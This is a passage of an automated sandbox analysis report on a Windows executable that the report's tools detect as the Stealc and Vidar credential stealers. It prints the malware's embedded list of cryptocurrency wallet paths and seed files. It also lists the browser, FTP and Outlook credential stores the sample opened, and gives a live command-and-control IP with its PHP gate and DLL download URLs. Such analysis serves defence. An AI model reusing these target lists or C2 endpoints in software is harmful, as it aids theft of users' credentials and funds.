Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2731453569.000000000088D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2731453569.000000000088D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2731453569.000000000088D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2731453569.000000000088D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2731453569.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2731453569.0000000000817000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5924, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.f70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2732215385.0000000000F71000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2222130039.0000000004C30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2731453569.000000000079E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5924, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 5924, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	12 Process Injection	3 Obfuscated Files or Information	Security Account Manager	235 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	641 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	24 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	24 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\chrome.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://deff.nelreports.net/api/report?cat=msn	0%	URL Reputation	safe
http://polymer.github.io/AUTHORS.txt	0%	URL Reputation	safe
https://ogs.google.com/widget/callout?eom=1	0%	URL Reputation	safe
https://drive-daily-2.corp.google.com/	0%	URL Reputation	safe
http://polymer.github.io/PATENTS.txt	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://drive-daily-1.corp.google.com/	0%	URL Reputation	safe
https://drive-daily-5.corp.google.com/	0%	URL Reputation	safe
https://chromewebstore.google.com/	0%	URL Reputation	safe
https://drive-preprod.corp.google.com/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	162.159.61.3	true	false	unknown
plus.l.google.com	216.58.206.78	true	false	unknown
play.google.com	142.250.185.142	true	false	unknown
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	unknown
sb.scorecardresearch.com	18.244.18.27	true	false	unknown
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	unknown
www.google.com	142.250.185.132	true	false	unknown
googlehosted.l.googleusercontent.com	216.58.206.33	true	false	unknown
clients2.googleusercontent.com	unknown	unknown	false	unknown
bzib.nelreports.net	unknown	unknown	false	unknown
assets.msn.com	unknown	unknown	false	unknown
c.msn.com	unknown	unknown	false	unknown
ntp.msn.com	unknown	unknown	false	unknown
apis.google.com	unknown	unknown	false	unknown
api.msn.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/	true		unknown
https://deff.nelreports.net/api/report?cat=msn	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.php	true		unknown
https://sb.scorecardresearch.com/b2?rn=1730221183264&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=359F0A28F1DB656E0F951F0FF08C6410&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false		unknown
http://185.215.113.206/746f34465cf17784/softokn3.dll	true		unknown
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730221184818&w=0&anoncknm=app_anon&NoResponseBody=true	false		unknown
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730221183262&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false		unknown
http://185.215.113.206/746f34465cf17784/freebl3.dll	true		unknown
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false		unknown
http://185.215.113.206/746f34465cf17784/mozglue.dll	true		unknown
http://185.215.113.206/746f34465cf17784/nss3.dll	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://google-ohttp-relay-join.fastly-edge.com/(h	chrome.exe, 00000004.00000003.2373807399.000066C401520000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373774362.000066C40151C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373920302.000066C401530000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/jj	chrome.exe, 00000004.00000003.2373807399.000066C401520000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373774362.000066C40151C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373920302.000066C401530000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	chrome.exe, 00000004.00000002.2440742061.000066C4008C4000.00000004.00000800.00020000.00000000.sdmp, IJKJJKFH.0.dr, Web Data.9.dr	false	URL Reputation: safe	unknown
https://google-ohttp-relay-join.fastly-edge.com/Ij	chrome.exe, 00000004.00000003.2373807399.000066C401520000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373774362.000066C40151C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373920302.000066C401530000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://mail.google.com/mail/?usp=installed_webapp	chrome.exe, 00000004.00000002.2437283725.000066C4004C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2330869227.000066C4006B4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	chrome.exe, 00000004.00000002.2440413483.000066C40082C000.00000004.00000800.00020000.00000000.sdmp, IJKJJKFH.0.dr, Web Data.9.dr	false	URL Reputation: safe	unknown
https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing	chrome.exe, 00000004.00000002.2440258343.000066C4007D0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://permanently-removed.invalid/oauth2/v2/tokeninfo	msedge.exe, 00000007.00000003.2449392329.000005C00026C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/746f34465cf17784/sqlite3.dllg	file.exe, 00000000.00000002.2731453569.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b	chrome.exe, 00000004.00000002.2440172114.000066C400784000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/document/J	chrome.exe, 00000004.00000002.2437283725.000066C4004C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2330869227.000066C4006B4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
